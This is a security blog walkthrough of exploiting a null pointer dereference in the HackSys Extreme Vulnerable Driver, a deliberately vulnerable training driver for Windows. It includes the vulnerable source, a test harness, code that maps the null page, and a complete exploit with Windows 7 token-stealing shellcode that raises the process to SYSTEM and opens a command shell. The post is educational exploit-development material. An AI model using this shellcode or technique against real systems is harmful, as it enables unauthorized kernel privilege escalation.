Windows Kernel Exploitation – Null Pointer Dereference

Today I’m sharing on exploiting the null pointer dereference vulnerability present in the HackSysExtreme Vulnerable Driver.

The Vulnerability

You can view the source from here.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

As usual, everything is clearly explained in the source. At line 42 the ‘userValue’ is compared with the value ‘0xBAD0B0B0’ and if it fails at line 58 the ‘NullPointerDereference’ value is set to NULL and at line 73 the value ‘NullPointerDereference’ is not validated whether it’s NULL before calling the callback function.

Let’s disassemble and see it closely. As you can see, if the provided ‘MagicValue’ is wrong the value of ‘NullPointerDereference’ is set to NULL to avoid the dangling pointer.

xor esi, esi

But in the end, when the callback function is being called the value of ‘NullPointerDereference’ is not being validated weather it’s NULL. Therefor this leads to a BSOD, fortunately there’s an exception handler written to avoid this.

Testing the Vulnerability

I will be using the IOCTL value provided in the header file of this driver.

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

I will use the ‘MagicValue’ 0xBAD0B0B0 as the user input.

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc, _TCHAR* argv[]) {
	HANDLE hDevice;
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
	ULONG MagicValue = 0xBAD0B0B0;

	hDevice = CreateFile(
		lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return 1;
	}

	wprintf(L"[+] Sending IOCTL request\n");

	DeviceIoControl(
		hDevice,
		HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
		(LPVOID)&MagicValue,
		NULL,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	CloseHandle(hDevice);

	return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp

As you can see the value the message “[+] Null Pointer Dereference Object Callback” is printed which means the callback function was successfully executed.

If we pass a wrong ‘MagicValue’ like ‘0xBaadBabe’ we get an exception. Since the exception is handled, BSOD will be prevented.

ULONG MagicValue = 0xBaadBabe;

I will place a breakpoint on

call    dword ptr [esi+4]

Once I trigger the vulnerability with the wrong ‘MagicValue’ we hit our breakpoint. Now the challenge is to allocate our pointer to shellcode at address 0x00000004.

How to allocate a DWORD at 0x4?

Functions such as VirtualAlloc or VirtualAllocEx won’t allow us to allocate memory at a starting address less than 0x00001000. Therefore we will have to use the NTAPI undocumented function ‘NtAllocateVirtualMemory’ to map a null page in user space and after that, we can write the pointer to shellcode at address 0x00000004.

NTSTATUS NtAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

https://undocumented.ntinternals.net

Here’s an example code where I allocate the value ‘0x12345678’ at address 0x4.

#include "stdafx.h"
#include <windows.h>

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);
  
int _tmain(int argc, _TCHAR* argv[]) {

	PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
	
	if (!NtAllocateVirtualMemory) {
		wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
		return -1;
	}
	
	PVOID BaseAddress = (PVOID)0x1;
	SIZE_T RegionSize = 1024; 

	NTSTATUS ntStatus = NtAllocateVirtualMemory(
		GetCurrentProcess(), 
		&BaseAddress, 
		0, 
		&RegionSize, 
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
		PAGE_EXECUTE_READWRITE 
		);

	PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
	*(PULONG)ShellcodePtr = (ULONG)0x12345678;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp

If we check the memory dump we can see that we successfully allocated a DWORD at address 0x4.

Final Exploit

Let’s put everything together and write the pointer to our shellcode to 0x4 and pass a wrong ‘MagicValue’ to trigger the vulnerability.

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Shlobj.h>


#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID


typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);

VOID TokenStealingShellcodeWin7() {
	__asm {
		; initialize
			pushad; save registers state

			xor eax, eax; Set zero
			mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
			mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current _EPROCESS structure

			mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
			mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
			; to current process
			popad; restore registers state
	}
}

int _tmain(void)
{
	HANDLE hDevice;
	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi;
	ULONG MagicValue = 0xBaadBabe;

	hDevice = CreateFile(
		lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);

	wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
	wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

	if (hDevice == INVALID_HANDLE_VALUE) {
		wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
		return -1;
	}

	PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

	if (!NtAllocateVirtualMemory) {
		wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
		return -1;
	}

	PVOID BaseAddress = (PVOID)0x1;
	SIZE_T RegionSize = 1024;

	NTSTATUS ntStatus = NtAllocateVirtualMemory(
		GetCurrentProcess(),
		&BaseAddress,
		0,
		&RegionSize,
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE
		);

	PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
	*(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;

	wprintf(L"[+] Sending IOCTL request\n");

	DeviceIoControl(
		hDevice,
		HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
		(LPVOID)&MagicValue,
		NULL,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	ZeroMemory(&si, sizeof si);
	si.cb = sizeof si;
	ZeroMemory(&pi, sizeof pi);

	IsUserAnAdmin() ?

	CreateProcess(
		L"C:\\Windows\\System32\\cmd.exe",
		L"/T:17",
		NULL,
		NULL,
		0,
		CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		(STARTUPINFO *)&si,
		(PROCESS_INFORMATION *)&pi) :

	wprintf(L"[!] Exploit Failed!");

	CloseHandle(hDevice);
	return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp

To verify our exploit let’s place a breakpoint on “call dword ptr [esi+4]” and see the memory location 0x4.

Let’s check where it points, and you can see it points to our token stealing shellcode.

W00t! Here’s our root shell 😎

Advertisements

2 thoughts on “Windows Kernel Exploitation – Null Pointer Dereference

  1. Pingback: 【知识】6月23日 – 每日安全知识热点-安全路透社

  2. Pingback: 半月安全看看看2017六月(下) – 安全0day

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s